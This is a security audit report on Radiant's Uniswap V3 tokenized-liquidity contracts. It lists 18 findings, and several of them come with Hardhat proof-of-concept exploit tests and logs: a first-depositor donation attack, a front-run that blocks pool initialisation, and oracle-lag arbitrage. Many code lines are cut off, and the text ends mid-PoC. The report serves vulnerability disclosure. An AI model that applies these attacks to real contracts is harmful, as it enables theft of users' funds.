Radiant Security Review

Pashov Audit Group

Conducted by: ubermensch, pontifex, Dan Ogurtsov, yttriumzz

June 30th 2024 - July 6th 2024

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Introduction

A time-boxed security review of the **radiant-capital/v2-core** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

4. About Radiant

UniV3TokenizedLp manages a tokenized liquidity position in a Uniswap V3-like pool. It allows users to deposit in exchange for ERC20 tokens that represent their share of the liquidity pool. The contract includes mechanisms for rebalancing liquidity positions and ensuring the accuracy of external oracle price feeds to prevent price manipulation.

5. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

6. Security Assessment Summary

review commit hash - 2f6eaadd32dd2d650499ee21e2b75824dd429ebf

fixes review commit hash - d64d0bb5211c4cbf392f5cb39c078e18c928cc48

Scope

The following smart contracts were in scope of the audit:

- `UniV3TokenizedLp`
- `UniV3PoolHelper`

7. Executive Summary

Over the course of the security review, ubermensch, pontifex, Dan Ogurtsov, yttriumzz engaged with Radiant to review Radiant. In this period of time a total of **18** issues were uncovered.

Protocol Summary

Protocol Name	Radiant
Repository	https://github.com/radiant-capital/v2-core
Date	June 30th 2024 - July 6th 2024
Protocol Type	Omnichain money market

Findings Count

Severity	**Amount**
Critical	1
High	3
Medium	8
Low	6
Total Findings	**18**

Summary of Findings

ID	Title	Severity	Status
[C-01]	No approvals from Helper to TokenizedLP	Critical	Resolved
[H-01]	UniV3TokenizedLp can be attacked by an initial donation	High	Resolved
[H-02]	Griefing attack via continuous deposit and withdrawal	High	Resolved
[H-03]	withdraw() does not take into account the pending fee	High	Resolved
[M-01]	The pending fee should be settled before adjusting the fee	Medium	Resolved
[M-02]	rebalance uses the wrong balance	Medium	Resolved
[M-03]	DoS in initializePoolby creating a uniswap pool and initializing the price	Medium	Acknowledged
[M-04]	Attacker can exploit oracle price differences to arbitrage	Medium	Resolved
[M-05]	Depositing UniV3PoolHelper only once per block for all users	Medium	Resolved
[M-06]	Use latestRoundData instead of latestAnswer	Medium	Acknowledged
[M-07]	Lack of slippage check in rebalance Function	Medium	Resolved
[M-08]	Bypassable checkLastBlockAction Modifier	Medium	Resolved
[L-01]	getTotalAmounts and getBasePosition may be DOSed	Low	Resolved

[L-02]	No pending income in functions	Low	Resolved
[L-03]	Admin may lose tokens on initializePool	Low	Acknowledged
[L-04]	Not used approvals	Low	Resolved
[L-05]	Missing oracle decimal normalization	Low	Resolved
[L-06]	LP pricing is exposed to manipulation	Low	Acknowledged

8. Findings

8.1. Critical Findings

[C-01] No approvals from Helper to TokenizedLP

Severity

Impact: High

Likelihood: High

Description

The money flow goes through LockZap to `UniV3PoolHelper.zapETH()` or to `UniV3PoolHelper.zapTokens()`. But later tokens should be deposited to `UniV3TokenizedLp.deposit()`.

```
function zapWETH(uint256 amount) public onlyLockZap returns
   (uint256 liquidity) {
                IERC20(weth9Addr).safeTransferFrom(msg.sender, address(this), amount);
                uint256 token0Amt = token0 == weth9Addr ? amount : 0;
                uint256 token1Amt = token1 == weth9Addr ? amount : 0;
                liquidity = tokenizedLpToken.deposit(token0Amt, token1Amt, msg.sender)
        }
```

`UniV3TokenizedLp` takes tokens from `UniV3PoolHelper.zapETH()` via `trasnferFrom()` which required approvals given. But `UniV3PoolHelper` does not approve tokens, so the whole money flow will be reverted.

Recommendations

Consider giving approvals from `UniV3PoolHelper` to `UniV3TokenizedLp`.

8.2. High Findings

[H-01] `UniV3TokenizedLp` can be attacked by an initial donation

Severity

Impact: High

Likelihood: Medium

Description

When `UniV3TokenizedLp` has no user deposit, the first user can mint `1` wei LP, and then transfer `1e18` WETH to the `UniV3TokenizedLp` contract. This results in `totalSupply` being 1 while the value of the assets in the pool is very high.

Then, after the new user transfers the asset, it may mint 0 LP due to division loss. These assets will all be counted as assets held by the 1wei LP and will eventually be stolen when the attacker calls `withdraw`.

```
if (totalSupply() != 0) {
                        // Price the pool0 in token1 at oracle price
                        uint256 pool0PricedInToken1 = (pool0 * oraclePrice) / PRECISIO
                        // Compute ratio of total shares to pool AUM in token1
                        shares = (shares * totalSupply()) / (pool0PricedInToken1 + poo
                }
```

Recommendations

This is a circumvent solution. In the same block, deploy `UniV3TokenizedLp` and deposit some LPs to address `0`.

Or use virtual assets and virtual shares. Please refer to https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks.

Appendix: PoC

```
diff
   --git a/test/zap/uniV3tokenizedLP.test.ts b/test/zap/uniV3tokenizedLP.test.ts
index b6e17af9..3b02a607 100644
--- a/test/zap/uniV3tokenizedLP.test.ts
+++ b/test/zap/uniV3tokenizedLP.test.ts
@@ -162,6 +162,88 @@ describe('UniV3TokenizedLP:', function () {
                };
        }

+       it('UniV3TokenizedLp initial donation attack poc', async () => {
+               // 1. Init poc env
+               console.log(">>>>> Init poc env");
+               const tokenFactory = await ethers.getContractFactory
+ ('MockToken');
+               const usdc = await tokenFactory.deploy('USD Coin', 'USDC', 6);
+               const weth = await tokenFactory.deploy
+ ('Wrapped Ether', 'WETH', 18);

+               const [creator, user1, user2, user3] = await ethers.getSigners
+ ();
+               await weth.mint(creator.address, POOL_WETH_RESERVE);
+               await usdc.mint(creator.address, POOL_USDC_RESERVE);
+               const poolAddr = await createAndFundPool(
+                       creator,
+                       usdc,
+                       weth,
+                       POOL_FEE_TIER,
+                       POOL_USDC_RESERVE,
+                       POOL_WETH_RESERVE
+               );
+               const samplePool = await ethers.getContractAt
+ ('UniswapV3Pool', poolAddr);
+               const MockOracleFactory = await ethers.getContractFactory
+ ('MockChainlinkAggregator');
+               const wethUsdOracle = await MockOracleFactory.deploy
+ (ethers.utils.parseUnits(FAKE_WETH_USD_PRICE, 8));
+               const usdcUsdOracle = await MockOracleFactory.deploy
+ (ethers.utils.parseUnits('1', 8));
+               const uniV3PoolMath = await (await ethers.getContractFactory
+ ('UniV3PoolMath')).deploy();
+               const tokenizedLPFactory = await ethers.getContractFactory
+ ('UniV3TokenizedLp', {
+                       libraries: {UniV3PoolMath: uniV3PoolMath.address},
+               });
+               const uV3TokenizedLp: UniV3TokenizedLp = <UniV3TokenizedLp>(
+                       await upgrades.deployProxy(
+                               tokenizedLPFactory,
+                               [
+                                       samplePool.address,
+                                       true,
+                                       true,
+                                       Number(usdc.address) < Number
+ (weth.address) ? usdcUsdOracle.address : wethUsdOracle.address,
+                                       Number(usdc.address) < Number
+ (weth.address) ? wethUsdOracle.address : usdcUsdOracle.address,
+                               ],
+
+                                {initializer: 'initialize', unsafeAllow: ['constructo
+                       )
+               );
+
+               await weth.mint(user1.address, ethers.utils.parseUnits
+ ('10', 18));
+               await weth.mint(user2.address, ethers.utils.parseUnits
+ ('10', 18));
+               console.log(">> user1's WETH balance: " + await weth.balanceOf
+ (user1.address));
+               console.log(">> user2's WETH balance: " + await weth.balanceOf
+ (user2.address));
+               console.log();
+
+
+                // 2. user1 deposit 1 wei WETH and transfer 1e18 WETH to `uV3Tokenize
+               console.log
+ (">>>>> user1 deposit 1 wei WETH and transfer 1e18 WETH to `uV3TokenizedLp`");
+               const wethIsToken0 = Number(weth.address) < Number(usdc.address)
+               await weth.connect(user1).approve
+ (uV3TokenizedLp.address, ethers.constants.MaxUint256);
+               if (wethIsToken0) {
+                       await uV3TokenizedLp.connect(user1).deposit
+ (1, 0, user1.address);
+               } else {
+                       await uV3TokenizedLp.connect(user1).deposit
+ (0, 1, user1.address);
+               }
+
+               await weth.connect(user1).transfer
+ (uV3TokenizedLp.address, ethers.utils.parseUnits('1', 18));
+
+               console.log
+ (">> user1's LP balance: " + await uV3TokenizedLp.balanceOf(user1.address));
+               console.log
+ (">> LP totalSupply: " + await uV3TokenizedLp.totalSupply());
+               console.log();
+
+               // 3. user2 deposit 0.5e18 WETH but receive 0 LP
+               console.log(">>>>> user2 deposit 0.5e18 WETH but receive 0 LP");
+               await weth.connect(user2).approve
+ (uV3TokenizedLp.address, ethers.constants.MaxUint256);
+               if (wethIsToken0) {
+                       await uV3TokenizedLp.connect(user2).deposit
+ (ethers.utils.parseUnits('0.5', 18), 0, user2.address);
+               } else {
+                       await uV3TokenizedLp.connect(user2).deposit
+ (0, ethers.utils.parseUnits('0.5', 18), user2.address);
+               }
+
+               console.log
+ (">> user2's LP balance: " + await uV3TokenizedLp.balanceOf(user2.address));
+               console.log();
+
+               // 4. user1 withdraw 1 wei LP
+               console.log(">>>>> user1 withdraw 1 wei LP");
+               await uV3TokenizedLp.connect(user1).withdraw(1, user1.address);
+               console.log(">> user1's WETH balance: " + await weth.balanceOf
+ (user1.address));
+               console.log(">> user2's WETH balance: " + await weth.balanceOf
+ (user2.address));
+               console.log();
+       });
+
        it('should check uV3TokenizedLp was properly initialized', async () => {

                const token0Addr = await uV3TokenizedLp.token0();
```

Run the PoC

```
yarn hardhat test --grep "UniV3TokenizedLp initial donation attack poc"
```

The log

```
$ yarn hardhat test --grep "UniV3TokenizedLp initial donation attack poc"
Warning: All subsequent Upgrades warnings will be silenced.

    Make sure you have manually checked all uses of unsafe flags.



  UniV3TokenizedLP:
>>>>> Init poc env
>> user1's WETH balance: 10000000000000000000
>> user2's WETH balance: 10000000000000000000

>>>>> user1 deposit 1 wei WETH and transfer 1e18 WETH to `uV3TokenizedLp`
>> user1's LP balance: 1
>> LP totalSupply: 1

>>>>> user2 deposit 0.5e18 WETH but receive 0 LP
>> user2's LP balance: 0

>>>>> user1 withdraw 1 wei LP
>> user1's WETH balance: 10500000000000000000
>> user2's WETH balance: 9500000000000000000

    ✔ UniV3TokenizedLp initial donation attack poc (10677ms)


  1 passing (16s)
```

[H-02] Griefing attack via continuous deposit and withdrawal

Severity

Impact: Medium

Likelihood: High

Description

The `deposit` function allows users to deposit funds to be added to liquidity pools (LPs) managed by the Rebalancer. When withdrawing tokens, the contract removes the necessary liquidity from the pool to fulfill the withdrawal request. This mechanism can be exploited by an attacker to perform a griefing attack. The attacker can continuously deposit large amounts in each block and withdraw in the next block, thereby forcing the contract to repeatedly remove liquidity from the pool.

This repeated withdrawal of liquidity leaves the funds uninvested in the contract, resulting in the loss of potential fees that could have been generated until the next rebalance. The severity of this attack increases when combined with the `checkLastBlockAction` modifier bypass issue, as it allows the attacker to utilize flash loans and backrun each rebalance transaction, effectively removing all liquidity from the pool continuously.

Recommendations

Consider fulfilling the withdrawals from the contract's balance first before opting for a liquidity removal from the pool if the contract's funds are not enough.

[H-03] `withdraw()` does not take into account the pending fee

Severity

Impact: Medium

Likelihood: High

Description

The assets corresponding to the user's shares are:

1. liquidity
2. pending fee
3. the remaining balance in UniV3TokenizedLp.

The `withdraw` function will call `_burnLiquidity` to extract the user's liquidity. `_burnLiquidity` calls `IUniswapV3Pool.burn`. The return values of `burn`, `owed0` and `owed1`, do not include the pending fee (the pending fee is directly included in the position).

```
(uint256 owed0, uint256 owed1) = IUniswapV3Pool(pool).burn
     (tickLower, tickUpper, liquidity);
```

Since the pending fee is not included, users will receive less income.

Recommendations

After calling `IUniswapV3Pool.burn`, calculate the pending fee that the user deserves and collect it together

Appendix: PoC

```diff
diff
   --git a/test/zap/uniV3tokenizedLP.test.ts b/test/zap/uniV3tokenizedLP.test.ts
index b6e17af9..57fd691d 100644
--- a/test/zap/uniV3tokenizedLP.test.ts
+++ b/test/zap/uniV3tokenizedLP.test.ts
@@ -162,6 +162,103 @@ describe('UniV3TokenizedLP:', function () {
                };
        }

+       async function getUniV3Position(
+               uniswapPool: UniswapV3Pool,
+               uV3TokenizedLp: UniV3TokenizedLp,
+       ) {
+               const baseLower = await uV3TokenizedLp.baseLower();
+               const baseUpper = await uV3TokenizedLp.baseUpper();
+               const key = ethers.utils.keccak256(
+                       ethers.utils.solidityPack(
+                               ["address", "int24", "int24"],
+                               [uV3TokenizedLp.address, baseLower, baseUpper],
+                       )
+               );
+
+               return await uniswapPool.positions(key);
+       }
+
+       it('Users will receive less income', async () => {
+               // 1. Init the PoC
+               console.log(">>>>>>>>>> Init the PoC");
+               const {
+                       factory,
+                       router,
+                       quoter,
+                       weth,
+                       usdc,
+                       samplePool,
+                       usdcUsdOracle,
+                       wethUsdOracle,
+                       uV3TokenizedLp,
+                       creator,
+                       user1,
+                       user2,
+                       user3
+               } = await setupFixture();
+               await initialRebalance(uV3TokenizedLp);
+               console.log();
+
+               // 2. user1 deposits some tokens and he is the only LP holder
+               console.log
+ (">>>>>>>>>> user1 deposits some tokens and he is the only LP holder");
+               await weth.mint(user1.address, ethers.utils.parseUnits
+ ('10', 18));
+               await usdc.mint(user1.address, ethers.utils.parseUnits
+ ('1000', 6));
+               await weth.connect(user1).approve
+ (uV3TokenizedLp.address, ethers.constants.MaxUint256);
+               await usdc.connect(user1).approve
+ (uV3TokenizedLp.address, ethers.constants.MaxUint256);
+               const wethIsToken0 = Number(weth.address) < Number(usdc.address)
+               if (wethIsToken0) {
+                       await uV3TokenizedLp.connect(user1).deposit
+ (ethers.utils.parseUnits('1', 18), ethers.utils.parseUnits('100', 6), user1.address)
+               } else {
+                       await uV3TokenizedLp.connect(user1).deposit
+ (ethers.utils.parseUnits('100', 6), ethers.utils.parseUnits('1', 18), user1.address)
+               }
+               await hre.network.provider.send
+ ('hardhat_mine', ['0x8', '0x10']);
+               await uV3TokenizedLp.autoRebalance(true);
+               console.log
+ (">> user1's LP balance: " + await uV3TokenizedLp.balanceOf(user1.address));
+               console.log
+ (">> LP totalSupply: " + await uV3TokenizedLp.totalSupply());
+               console.log();
+
+
+                // 3. user2 made a swap in the uniswap pool, generating some fees
+               console.log
+ (">>>>>>>>>> user2 made a swap in the uniswap pool, generating some fees");
+               await weth.mint(user2.address, ethers.utils.parseUnits
+ ('10', 18));
+               await usdc.mint(user2.address, ethers.utils.parseUnits
+ ('1000', 6));
+               await weth.connect(user2).approve
+ (router.address, ethers.constants.MaxUint256);
+               await usdc.connect(user2).approve
+ (router.address, ethers.constants.MaxUint256);
+               await router.connect(user2).exactInputSingle({
+                       tokenIn: weth.address,
+                       tokenOut: usdc.address,
+                       fee: await samplePool.fee(),
+                       recipient: user2.address,
+                       deadline: ethers.constants.MaxUint256,
+                       amountIn: ethers.utils.parseUnits('0.1', 18),
+                       amountOutMinimum: 0,
+                       sqrtPriceLimitX96: 0,
+               });
+               console.log();
+
+
+                // 4. user1 withdraws all LPs. He is the only LP holder. All assets i
+               //    However, there are still some fees left in UV3TokenizedLp.
+               console.log
+ (">>>>>>>>>> user1 withdraws all LPs. He is the only LP holder. All assets in UV3Tok
+               console.log
+ ("           However, there are still some fees left in UV3TokenizedLp.");
+               await uV3TokenizedLp.connect(user1).withdraw
+ (await uV3TokenizedLp.balanceOf(user1.address), user1.address);
+               let uniV3Position = await getUniV3Position
+ (samplePool, uV3TokenizedLp);
+               console.log(">> Remaining tokensOwed0: %s", uniV3Position[3]);
+               console.log(">> Remaining tokensOwed1: %s", uniV3Position[4]);
+               console.log();
+       });
+
+       it('should check uV3TokenizedLp cannot be re-initialized', async () => {
+               const {uV3TokenizedLp, samplePool} = await loadFixture
+ (setupFixture);
+               await expect(
+                       uV3TokenizedLp.initialize(
+                               samplePool.address,
+                               true,
+                               true,
+                               ethers.Wallet.createRandom().address,
+                               ethers.Wallet.createRandom().address
+                       )
+               ).to.be.revertedWith('UniV3TokenizedLp_alreadyInitialized');
+       });
+
        it('should check uV3TokenizedLp was properly initialized', async () => {

                const token0Addr = await uV3TokenizedLp.token0();
```

Run the PoC

```
yarn hardhat test --grep "Users will receive less income"
```

The log

```
$ yarn hardhat test --grep "Users will receive less income"
Warning: All subsequent Upgrades warnings will be silenced.

    Make sure you have manually checked all uses of unsafe flags.



  UniV3TokenizedLP:
>>>>>>>>>> Init the PoC

>>>>>>>>>> user1 deposits some tokens and he is the only LP holder
>> user1's LP balance: 1028571428571428571
>> LP totalSupply: 1028571428571428571

>>>>>>>>>> user2 made a swap in the uniswap pool, generating some fees

>>>>>>>>>>
   user1 withdraws all LPs. He is the only LP holder. All assets in UV3TokenizedLp sho
           However, there are still some fees left in UV3TokenizedLp.
>> Remaining tokensOwed0: 0
>> Remaining tokensOwed1: 15157827139054

    ✔ Users will receive less income (12107ms)


  1 passing (18s)
```

8.3. Medium Findings

[M-01] The pending fee should be settled before adjusting the fee

Severity

Impact: Medium

Likelihood: Medium

Description

Functions related to fees, such as `setFeeRecipient`, `setBaseFee`, `setBaseFeeSplit`, and `setAffiliate`, will affect the distribution target and the amount of the fee. Before the changes take effect, the pending fee should be settled. Otherwise, it may lead to errors in settling the pending fees.

For example, if the current `affiliate` is Alice, the pending fee is 100. After changing the affiliate to Bob, this fee will be allocated to Bob instead of Alice during the rebalance.

Recommendations

Before adjusting the fee, the pending fee should be settled first.

[M-02] `rebalance` uses the wrong balance

Severity

Impact: Medium

Likelihood: Medium

Description

If the `swapQuantity` parameter is `0`, the `rebalance` function will perform the swap first. After the swap, the balances of `token0` and `token1` in the contract will change. However, `_liquidityForAmounts` still uses the balances before the swap.

```
function rebalance(
   int24_baseLower,
   int24_baseUpper,
   int256swapQuantity
 ) public nonReentrant isRebalancer {
                if
    (_baseLower >= _baseUpper || _baseLower % tickSpacing != 0 || _baseUpper % tickSpa
                        revert UniV3TokenizedLp_BasePositionInvalid();
                }
                (uint256 token0Bal, uint256 token1Bal) = _updateAndCollectPositionFees

                // Swap tokens if required as specified by `swapQuantity`
                if (swapQuantity != 0) {
                        IUniswapV3Pool(pool).swap(
                                address(this),
                                swapQuantity > 0, // zeroToOne == true if swapQuantity
                                swapQuantity > 0 ? swapQuantity : -swapQuantity,
                                // No limit on the price, swap through the ticks, unti
    // is exhausted
                                swapQuantity
       > 0 ? UniV3PoolMath.MIN_SQRT_RATIO + 1 : UniV3PoolMath.MAX_SQRT_RATIO - 1,
                                abi.encode(address(this))
                        );
                }

                baseLower = _baseLower;
                baseUpper = _baseUpper;

                // Mint liquidity at the new baseLower and baseUpper ticks
                uint128 baseLiquidity = _liquidityForAmounts
    (baseLower, baseUpper, token0Bal, token1Bal);
                _mintLiquidity(baseLower, baseUpper, baseLiquidity);
        }
```

This will lead to two results:

1. Deposit less liquidity into the uniswap pool
2. Or revert due to insufficient tokens

Recommendations

After the swap, the new balance should be passed into `_liquidityForAmounts`

[M-03] DoS in `initializePool` by creating a uniswap pool and initializing the price

Severity

Impact: Medium

Likelihood: Medium

Description

`initializePool` uses the balance in the contract to calculate `sqrtPriceX96` instead of getting `sqrtPriceX96` from the uniswap pool.

```
uint256 initRdntBal = IERC20(rdntAddr).balanceOf(address(this));
                uint256 initWeth9Bal = IERC20(weth9Addr).balanceOf(address(this));
                uint160 sqrtPriceX96 = UniV3PoolMath.encodePriceSqrtX96(
                        rdntAddr == token0 ? initRdntBal : initWeth9Bal,
                        rdntAddr == token1 ? initRdntBal : initWeth9Bal
                );
```

Before minting LP tokens, `initializePool` calculates the expected number of LP tokens based on the above `sqrtPriceX96`. In other words, `initializePool` will maximize mint LP based on the token balance in the contract.

```
uint128 fullRangeliquidity = UniV3PoolMath.getLiquidityForAmounts(
                                sqrtPriceX96,
                                UniV3PoolMath.MIN_SQRT_RATIO,
                                UniV3PoolMath.MAX_SQRT_RATIO,
                                amount0,
                                amount1
                        );

                        pool.mint(address(
     address

   ), baseLower_, baseUpper_, fullRangeliquidity, abi.encode(address(this
```

However, the attacker can make a slight swap in the uniswap pool in advance, causing `initializePool` to fail to mint the expected number of LPs.

Recommendations

When the uniswap pool already exists, get `sqrtPriceX96` from the pool instead of calculating based on the token balance. At the same time, set the minimum amount of LP income.

In addition, if the pool does not exist, the attacker can also create the pool in advance and initialize the price.

Appendix: PoC

```
diff --git a/test/zap/uniV3PoolHelper.test.ts b/test/zap/uniV3PoolHelper.test.ts
index 2c55441c..8ae3bae8 100644
--- a/test/zap/uniV3PoolHelper.test.ts
+++ b/test/zap/uniV3PoolHelper.test.ts
@@ -149,6 +149,98 @@ describe('UniV3PoolHelper:', function () {
                };
        }

+       const ONE = ethers.BigNumber.from(1);
+       const TWO = ethers.BigNumber.from(2);
+       function sqrt(value: BigNumber) {
+               let x = ethers.BigNumber.from(value);
+               let z = x.add(ONE).div(TWO);
+               let y = x;
+               while (z.sub(y).isNegative()) {
+                       y = z;
+                       z = x.div(z).add(z).div(TWO);
+               }
+               return y;
+       }
+
+       function encodePriceSqrtX96(
+               reserve0: BigNumber,
+               reserve1: BigNumber,
+       ) {
+               let precisionHelper = BigNumber.from
+ (1); // uint160 precisionHelper = 1;
+               if (reserve1 < reserve0) {
+                       precisionHelper = ONE_ETH; // precisionHelper = 1 ether;
+                       reserve1 = reserve1.mul(precisionHelper.mul
+ (precisionHelper)); // reserve1 = reserve1 * precisionHelper ** 2;
+               }
+               return sqrt(reserve1.div(reserve0)).mul(TWO.pow(96)).div
+ (precisionHelper); // uint160Safe((Math.sqrt(reserve1 / reserve0)) * 2 ** 96) / prec
+       }
+
+       it('initializePool can be DoS', async () => {
+               const {
+                       factory,
+                       router,
+                       quoter,
+                       weth,
+                       rdnt,
+                       samplePool,
+                       uV3TokenizedLp_implementation,
+                       poolHelper,
+                       rdntUsdOracle,
+                       wethUsdOracle,
+                       creator,
+                       user1,
+                       user2,
+                       user3,
+               } = await loadFixture(setupFixture);
+
+               // 1. create pool for test
+               await factory.createPool(weth.address, rdnt.address, 3000);
+               const uniswapV3Pool = await ethers.getContractAt
+ ('UniswapV3Pool', await factory.getPool(weth.address, rdnt.address, 3000));
+               let sqrtPriceX96 = weth.address < rdnt.address ?
+                       encodePriceSqrtX96
+ (POOL_WETH_RESERVE, POOL_RDNT_RESERVE) : encodePriceSqrtX96(POOL_RDNT_RESERVE, POOL_
+               await uniswapV3Pool.initialize(sqrtPriceX96);
+               await weth.mint(user1.address, POOL_WETH_RESERVE);
+               await rdnt.mint(user1.address, POOL_RDNT_RESERVE);
+               await weth.connect(user1).approve
+ (router.address, ethers.constants.MaxUint256);
+               await rdnt.connect(user1).approve
+ (router.address, ethers.constants.MaxUint256);
+                await router.connect(user1).addFullRangeLiquidity(
+                        weth.address,
+                        rdnt.address,
+                        await uniswapV3Pool.fee(),
+
+                         weth.address < rdnt.address ? POOL_WETH_RESERVE : POOL_RDNT_R
+
+                         weth.address < rdnt.address ? POOL_RDNT_RESERVE : POOL_WETH_R
+                )
+
+                // 2. attacker swap in advance
+                const [,,,, attacker] = await ethers.getSigners();
+                await weth.mint(attacker.address, ethers.utils.parseEther('1'));
+                await rdnt.mint(attacker.address, ethers.utils.parseEther('1'));
+                await weth.connect(attacker).approve
+ (router.address, ethers.constants.MaxUint256);
+                await rdnt.connect(attacker).approve
+ (router.address, ethers.constants.MaxUint256);
+                const attackerWethBalanceBefore = await weth.balanceOf
+ (attacker.address);
+                await router.connect(attacker).exactInputSingle({
+                        tokenIn: weth.address,
+                        tokenOut: rdnt.address,
+                        fee: await uniswapV3Pool.fee(),
+                        recipient: attacker.address,
+                        deadline: ethers.constants.MaxUint256,
+                        amountIn: BigNumber.from(2),
+                        amountOutMinimum: 0,
+                        sqrtPriceLimitX96: 0,
+                });
+
+                // 3. admin run `initializePool`
+                await expect(poolHelper.initializePool({
+                        factoryType: 0,
+                        uniV3Factory: factory.address,
+                        tokenizedLpImpl: uV3TokenizedLp_implementation.address,
+                        usdRdntOracle: rdntUsdOracle.address,
+                        usdWeth9Oracle: wethUsdOracle.address
+                })).to.be.revertedWith
+ ('ERC20: transfer amount exceeds balance');
+
+                const attackerWethCost = attackerWethBalanceBefore.sub
+ (await weth.balanceOf(attacker.address));
+                console.log("attacker cost %s wei WETH", attackerWethCost);
+        });
+
        it('should check univ3PoolHelper can be properly initialized', async
          () => {

                                   const {poolHelper, uV3TokenizedLp_implementation, fac
                        await loadFixture(setupFixture);
```

Run the PoC

```
yarn hardhat test --grep "initializePool can be DoS"
```

The log

```
$ yarn hardhat test --grep "initializePool can be DoS"
Warning: All subsequent Upgrades warnings will be silenced.

    Make sure you have manually checked all uses of unsafe flags.



  UniV3PoolHelper:
attacker cost 2 wei WETH
    ✔ initializePool can be DoS (9128ms)


  1 passing (14s)
```

[M-04] Attacker can exploit oracle price differences to arbitrage

Severity

Impact: Medium

Likelihood: Medium

Description

The chainlink oracle will submit a new price only when the price fluctuation reaches the deviation threshold. For example, the deviation threshold of ETH/USD is `0.5%`. Attackers can use this to arbitrage. The specific scenario is:

1. Attacker1 deposits some USDC
2. The oracle updates the ETH/USD price to increase by `0.5%`
3. Attacker1 sends all LPs to Attacker2 to bypass `checkLastBlockAction`
4. Attacker2 withdraws all LPs and get ETH + USDC
5. Attacker2 returns the tokens to Attacker1

The above steps can be completed in the same block. The attacker bought ETH at a lower price, and he can sell ETH on another DEX. For more detailed examples, please see PoC.

Recommendations

Let the withdraw function charge some fees

Appendix: PoC

```
diff
   --git a/test/zap/uniV3tokenizedLP.test.ts b/test/zap/uniV3tokenizedLP.test.ts
index b6e17af9..f8dd1381 100644
--- a/test/zap/uniV3tokenizedLP.test.ts
+++ b/test/zap/uniV3tokenizedLP.test.ts
@@ -162,6 +162,89 @@ describe('UniV3TokenizedLP:', function () {
                };
        }

+       async function blockNumber() {
+               return (await hre.ethers.provider.getBlock("latest")).number
+       }
+
+       it('attacker can exploit oracle price differences to arbitrage', async
+ () => {
+               // 1. Init the PoC
+               console.log(">>>>>>>>>> Init the PoC");
+               const {
+                       factory,
+                       router,
+                       quoter,
+                       weth,
+                       usdc,
+                       samplePool,
+                       usdcUsdOracle,
+                       wethUsdOracle,
+                       uV3TokenizedLp,
+                       creator,
+                       user1,
+                       user2,
+                       user3
+               } = await loadFixture(setupFixture);
+               await initialRebalance(uV3TokenizedLp);
+               await uV3TokenizedLp.autoRebalance(true);
+
+               const [,,,, attacker1, attacker2] = await ethers.getSigners();
+               await usdc.mint(attacker1.address, ethers.utils.parseUnits
+ ('10000', 6));
+               await usdc.connect(attacker1).approve
+ (uV3TokenizedLp.address, ethers.constants.MaxUint256);
+               const wethBalanceBefore = await weth.balanceOf
+ (attacker1.address);
+               const usdcBalanceBefore = await usdc.balanceOf
+ (attacker1.address);
+               console.log();
+
+
+                // 2. User1 deposits some tokens to simulate the real environment
+               console.log
+ (">>>>>>>>>> User1 deposits some tokens to simulate the real environment");
+               await weth.mint(user1.address, ethers.utils.parseUnits
+ ('100', 18));
+               await usdc.mint(user1.address, ethers.utils.parseUnits
+ ('300000', 6));
+               await weth.connect(user1).approve
+ (uV3TokenizedLp.address, ethers.constants.MaxUint256);
+               await usdc.connect(user1).approve
+ (uV3TokenizedLp.address, ethers.constants.MaxUint256);
+               const wethIsToken0 = weth.address < usdc.address
+               if (wethIsToken0) {
+                       await uV3TokenizedLp.connect(user1).deposit
+ (ethers.utils.parseUnits('100', 18), ethers.utils.parseUnits('300000', 6), user1.add
+               } else {
+                       await uV3TokenizedLp.connect(user1).deposit
+ (ethers.utils.parseUnits('300000', 6), ethers.utils.parseUnits('100', 18), user1.add
+               }
+               await hre.network.provider.send
+ ('hardhat_mine', ['0x8', '0x10']);
+               await uV3TokenizedLp.autoRebalance(true);
+               await hre.network.provider.send
+ ('hardhat_mine', ['0x8', '0x10']);
+               console.log();
+
+               // 3. Attacker1 deposits some USDC in advance
+               console.log
+ (">>>>>>>>>>> Attacker1 deposits some USDC in advance");
+               await network.provider.send("evm_setAutomine", [false]);
+               console.log
+ (">> block number before attack: %s", await blockNumber());
+               if (wethIsToken0) {
+                       await uV3TokenizedLp.connect(attacker1).deposit
+ (0, ethers.utils.parseUnits('10000', 6), attacker1.address);
+               } else {
+                       await uV3TokenizedLp.connect(attacker1).deposit
+ (ethers.utils.parseUnits('10000', 6), 0, attacker1.address);
+               }
+               console.log();
+
+               // 4. WETH price increased by 0.5%
+               console.log(">>>>>>>>>>> WETH price increased by 0.5%");
+               await wethUsdOracle.setPrice((await wethUsdOracle.latestAnswer
+ ()).mul(1005).div(1000));
+               console.log();
+
+
+                // 5. Attacker1 transfers LP to attacker2 in the same block and then
+               console.log
+ (">>>>>>>>>>> Attacker1 transfers LP to attacker2 in the same block and then withdraw
+               // const lpTokenBalance = await uV3TokenizedLp.balanceOf
+ (attacker1.address);
+               const lpTokenBalance = BigNumber.from
+ ("2857142857147252746"); // == await uV3TokenizedLp.balanceOf(attacker1.address)
+               // console.log(lpTokenBalance);
+               await uV3TokenizedLp.connect(attacker1).transfer
+ (attacker2.address, lpTokenBalance);
+               await network.provider.send("evm_setAutomine", [true]);
+               await uV3TokenizedLp.connect(attacker2).withdraw
